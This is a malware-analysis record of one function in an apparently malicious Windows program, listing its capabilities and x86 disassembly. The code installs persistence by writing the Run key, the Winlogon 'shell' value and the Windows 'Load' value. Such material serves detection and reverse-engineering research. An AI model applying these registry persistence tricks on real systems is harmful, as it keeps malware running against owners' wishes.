Function at 0x1314cf70
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdfc
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x131eec62], 1
jne 0x1314d057
call fcn.1314a480
lea edx, [ebp - 0xdf8]
sub edx, eax
nop dword [eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1314cfa0
lea eax, [ebp - 0xdf8]
push eax
lea eax, [ebp - 0x404]
push str._sSoftwareMicrosoftWindowsCurrentVersionRun
push eax
call fcn.13141a40
push 0x131fb6c8
push 0x131fdff8
lea eax, [ebp - 0x7f8]
push str._s__s
push eax
call fcn.13141a40
add esp, 0x1c
lea eax, [ebp - 0xdfc]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0x7f8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314d014
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x7f8]
push eax
push 1
push 0
push 0x131fc238
push dword [ebp - 0xdfc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xdfc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, 0x131da780
mov eax, 0x131fcaa4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1314d081
test dl, dl
je 0x1314d07d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1314d081
add eax, 2
add ecx, 2
test dl, dl
jne 0x1314d061
xor eax, eax
jmp 0x1314d086
sbb eax, eax
or eax, 1
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1314d12f
call fcn.1314a480
lea edx, [ebp - 0xdf8]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1314d0b0
lea eax, [ebp - 0xdf8]
push eax
lea eax, [ebp - 0x404]
push str._sSoftwareMicrosoftWindowsCurrentVersionRun
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [ebp - 0xdfc]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push reloc.WS2_32.dll_closesocket
call ebx
mov ecx, 0x131fb6c8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314d104
sub ecx, edx
lea eax, [ecx + 1]
push eax
push 0x131fb6c8
push 1
push 0
push 0x131fc238
push dword [ebp - 0xdfc]
call esi
push dword [ebp - 0xdfc]
call edi
mov ecx, 0x131da79c
mov eax, 0x131fcaa4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1314d160
test dl, dl
je 0x1314d15c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1314d160
add eax, 2
add ecx, 2
test dl, dl
jne 0x1314d140
xor eax, eax
jmp 0x1314d165
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1314d23d
movups xmm0, xmmword [str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon]
mov eax, dword [0x131daa74]
mov dword [ebp - 0x3d4], eax
movzx eax, word [0x131daa78]
movups xmmword [ebp - 0x404], xmm0
mov word [ebp - 0x3d0], ax
movups xmm0, xmmword [0x131daa54]
mov eax, dword [str.shell]
mov dword [0x131fc238], eax
movzx eax, word [0x131daa80]
movups xmmword [ebp - 0x3f4], xmm0
push 0x131fb6c8
movups xmm0, xmmword [0x131daa64]
mov word [0x131fc23c], ax
lea eax, [ebp - 0x9f8]
push str.explorer.exe____s
push eax
movups xmmword [ebp - 0x3e4], xmm0
call fcn.13141a40
add esp, 0xc
lea eax, [ebp - 0xdfc]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push closesocket
call ebx
lea ecx, [ebp - 0x9f8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314d210
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x9f8]
push eax
push 1
push 0
push 0x131fc238
push dword [ebp - 0xdfc]
call esi
push dword [ebp - 0xdfc]
call edi
mov ecx, 0x131da798
mov eax, 0x131fcaa4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1314d267
test dl, dl
je 0x1314d263
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1314d267
add eax, 2
add ecx, 2
test dl, dl
jne 0x1314d247
xor eax, eax
jmp 0x1314d26c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1314d33d
push 0x1f4
lea eax, [ebp - 0x5f8]
push eax
push 0x131fb6c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov eax, dword [0x131daab4]
movups xmm0, xmmword [str.SoftwareMicrosoftWindows_NTCurrentVersionWindows]
mov dword [ebp - 0x3d4], eax
movzx eax, byte [0x131daab8]
mov byte [ebp - 0x3d0], al
mov eax, dword [str.Load]
push 0
mov dword [0x131fc238], eax
movzx eax, byte [0x131daac0]
mov byte [0x131fc23c], al
lea eax, [ebp - 0xdfc]
push eax
push 0
push 0xf003f
push 0
movups xmmword [ebp - 0x404], xmm0
push 0
movups xmm0, xmmword [0x131daa94]
push 0
lea eax, [ebp - 0x404]
movups xmmword [ebp - 0x3f4], xmm0
push eax
movups xmm0, xmmword [0x131daaa4]
push closesocket
movups xmmword [ebp - 0x3e4], xmm0
call ebx
lea ecx, [ebp - 0x5f8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314d310
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x5f8]
push eax
push 1
push 0
push 0x131fc238
push dword [ebp - 0xdfc]
call esi
push dword [ebp - 0xdfc]
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret